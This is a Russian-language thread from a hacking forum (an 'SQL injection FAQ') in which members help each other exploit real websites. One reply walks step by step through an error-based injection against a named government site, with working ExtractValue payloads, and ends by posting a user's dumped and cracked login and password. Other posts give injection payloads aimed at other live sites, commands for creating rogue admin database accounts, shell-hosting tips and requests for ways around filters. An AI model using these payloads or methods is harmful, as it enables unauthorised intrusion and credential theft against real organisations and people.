Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. FreShBY

    FreShBY Banned

    Joined:
    3 May 2009
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    Заменил на пробелы получил:
    Code:
    ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%202%20--' LIMIT 0,1' at line 1
    query=SELECT * FROM structure WHERE p_ID='933' AND url='1'%20UNION%20SELECT%201,%202%20--' LIMIT 0,1
     
  2. [RedSky]

    [RedSky] Banned

    Joined:
    4 May 2011
    Messages:
    10
    Likes Received:
    11
    Reputations:
    10
    Ну очевидно же, зачем на пробелы, данные идут без юрлдекода, крути со скобками, либо пробуй замену типо /**/
     
  3. FreShBY

    FreShBY Banned

    Joined:
    3 May 2009
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    http://test/test/1'/**/UNION/**/SELECT/**/1,/**/2/**/--
    По этой ссылке мне выдало:
    Code:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
    query=SELECT * FROM structure WHERE p_ID='933' AND url='1'' LIMIT 0,1
    Я уже пол часа пробовал разные варианты, ничего что-то не проходит
     
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    FreShBY, пробел в комментарии должен быть после символов "--", а не перед ними. Если выложишь ссылку, будет быстрее.
     
  5. FreShBY

    FreShBY Banned

    Joined:
    3 May 2009
    Messages:
    24
    Likes Received:
    3
    Reputations:
    0
    http://gtk.gov.by/ru/press-center/1'
     
  6. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Слепая инъекция. Пробел, слэши и некоторые другие символы использовать нельзя из-за ограничений HTTP-протокола. Есть вывод через ошибку с помощью ExtractValue
    Запрос:
    Code:
    http://gtk.gov.by/ru/press-center/1'or(ExtractValue(1,concat(0x3a,version())))='1
    Результат:
    Code:
    5.1.53
    Из-за того, что нет пробела, использовать limit нельзя. group_concat тоже не работает. Обходится через дополнительные условия, в данном случае колонка data_length в information_schema.tables
    Запрос:
    Code:
    http://gtk.gov.by/ru/press-center/1'or(ExtractValue(1,concat(0x3a,(select(concat(table_schema,'.',table_name))from(information_schema.tables)where`table_name`like(0x257573657225)and(data_length>0)))))='1
    Результат:
    Code:
    customsnew.users
    Для перебора колонок используется ordinal_position в information_schema.columns, в которой хранится порядковый номер колонки в таблице
    Запрос:
    Code:
    http://gtk.gov.by/ru/press-center/1'or(ExtractValue(1,concat(0x3a,(select(column_name)from(information_schema.columns)where`table_name`='users'and(ordinal_position=1)))))='1
    Меняя ordinal_position от 1 до 6, получаем имена всех колонок
    Результат:
    Code:
    ID,login,password,name,email,comment
    В таблице users всего одна запись. Получаем имя
    Запрос:
    Code:
    http://gtk.gov.by/ru/press-center/1'or(ExtractValue(1,concat(0x3a,(select(login)from(users)where(id=1)))))='1
    Результат:
    Code:
    olga
    Так как вывод через ExtractValue ограничен 31 символом, хэш пароля получаем двумя запросами
    Запрос 1:
    Code:
    http://gtk.gov.by/ru/press-center/1'or(ExtractValue(1,concat(0x3a,(select(password)from(users)where(id=1)))))='1
    Запрос 2:
    Code:
    http://gtk.gov.by/ru/press-center/1'or(ExtractValue(1,concat(0x3a,mid((select(password)from(users)where(id=1)),32,1))))='1
    Результат:
    Code:
    79e4b4438aba2b6d8e1caf9568e73e12
    Расшифровываем хэш по радужным таблицам.
    Результат:
    Code:
    olga:olga11
     
    #166 M_script, 12 May 2011
    Last edited: 12 May 2011
    4 people like this.
  7. linuxkernal

    linuxkernal New Member

    Joined:
    12 Mar 2010
    Messages:
    62
    Likes Received:
    0
    Reputations:
    0
    i want to use in toolza floor rand how can i use in toolza

    this site to get info

    http://www.site.com/get.php?id=15 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 22,1),FLOOR(RAND(0)*2)))
     
  8. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,518
    Likes Received:
    401
    Reputations:
    196
    Почему бы не добавить в первые посты инфу о том, как крутить скули через ошибку Duplicate entry ?
     
    #168 попугай, 18 May 2011
    Last edited: 18 May 2011
    1 person likes this.
  9. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Потому что есть статья Быстрый Blind SQL Injection
     
  10. Gervorovski

    Gervorovski Banned

    Joined:
    28 Sep 2010
    Messages:
    159
    Likes Received:
    12
    Reputations:
    0
    Все просто. Кому не хватает материала в этой теме, переходите по ссылке тут
     
  11. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Ссылки на поиск не статичные. Пиши поисковые запросы словами.
     
  12. kroŧ

    kroŧ Member

    Joined:
    19 May 2010
    Messages:
    129
    Likes Received:
    33
    Reputations:
    8
    Добавлю от себя
    стандартные базы
    Oracle
    SYS.USER_OBJECTS (USEROBJECTS)
    SYS.USER_VIEWS
    SYS.USER_TABLES
    SYS.USER_VIEWS
    SYS.USER_TAB_COLUMNS
    SYS.USER_CATALOG
    SYS.USER_TRIGGERS
    SYS.ALL_TABLES
    SYS.TAB

    MySQL
    mysql.user
    mysql.host
    mysql.db

    MS access
    MsysACEs
    MsysObjects
    MsysQueries
    MsysRelationships

    MS SQL Server
    sysobjects
    syscolumns
    systypes
    sysdatabases

    Создать пользователя:
    MS SQL
    exec sp_addlogin 'name' , 'password'
    exec sp_addsrvrolemember 'name' , 'sysadmin'

    Access
    CRATE USER name IDENTIFIED BY 'pass123'

    Postgres (requires Unix account)
    CRATE USER name WITH PASSWORD 'pass123'

    Oracle
    CRATE USER name IDENTIFIED BY pass123
    TEMPORARY TABLESPACE temp
    DEFAULT TABLESPACE users;
    GRANT CONNECT TO name;
    GRANT RESOURCE TO name;

    MySQL
    INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass'))

    Для тех кто не может определится с хостингом для заливки шелла
    заходим создаем сообщение на pastebin.com затем заходим скачать файл
    http://pastebin.com/download.php?i=[xxx]
    это и будет ссылка на файл.
     
  13. foozzi

    foozzi Member

    Joined:
    13 Apr 2010
    Messages:
    195
    Likes Received:
    12
    Reputations:
    5

    Postgresql есть?
     
  14. DiDaaaa

    DiDaaaa New Member

    Joined:
    26 Jun 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Помогите скуль раскрутить
    Code:
    http://realtyvision.ru/analytics/?id_group=1+union+%20SELECT%20password%20FROM%20%60op2_discussion_users%60%20WHERE%20%60id%60=1+--+
    Code:
    http://realtyvision.ru/analytics/?id_group=1+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28SELECT+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28op2_discussion_users.password+as+char%29%29%29%2C0x27%2C0x7e%29+FROM+%60u68468%60.op2_discussion_users+Order+by+login+LIMIT+5%2C1%29+%29+from+information_schema.tables+limit+0%2C1%29%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29+and+1%3D1
     
  15. mega_667

    mega_667 Banned

    Joined:
    3 Jul 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    доброго дня .... такая ситуация :
    сайт имеет возможность sql inject. ... нахожу количество столбцов через group by ..... но при попытке определить названия таблиц и стоблбцов (через INFORMATION_SCHEMA) сразу перекидывает на страницу хостинга с сообщением приблизительно такого содержания "Сервер отверг ваш запрос, возможно он опасен и т д ..." ..... на некоторых других сайтах похожие ситуации - подсовываю кавычку, вылетает SQL-ная ошибка, прямой вывод на страницу отсутсвует, при поытке вывода через ошибку опять же вылетает хостинга с "запрос отвергнут, так как опасен и т д ......" ...... О чём это может говорить ? инъекция тут не актуальна ? или всё же можно както обойти этот ?
     
  16. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    операторы фильтруются. ничего не сделать. а хостинг попробую угадать - sweb
     
  17. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Если sweb, фильтр обходится без проблем :)
     
  18. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    Тогда прошу поделиться методом. Ибо вопрос актуальный. :)
     
    1 person likes this.
  19. mega_667

    mega_667 Banned

    Joined:
    3 Jul 2011
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    spaceweb .... действительно ! Если есть метод поделитесь PLZ !
     
  20. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    676
    Likes Received:
    331
    Reputations:
    120
    попробуй вот так:
    http://forum.antichat.ru/showpost.php?p=2303206&postcount=14694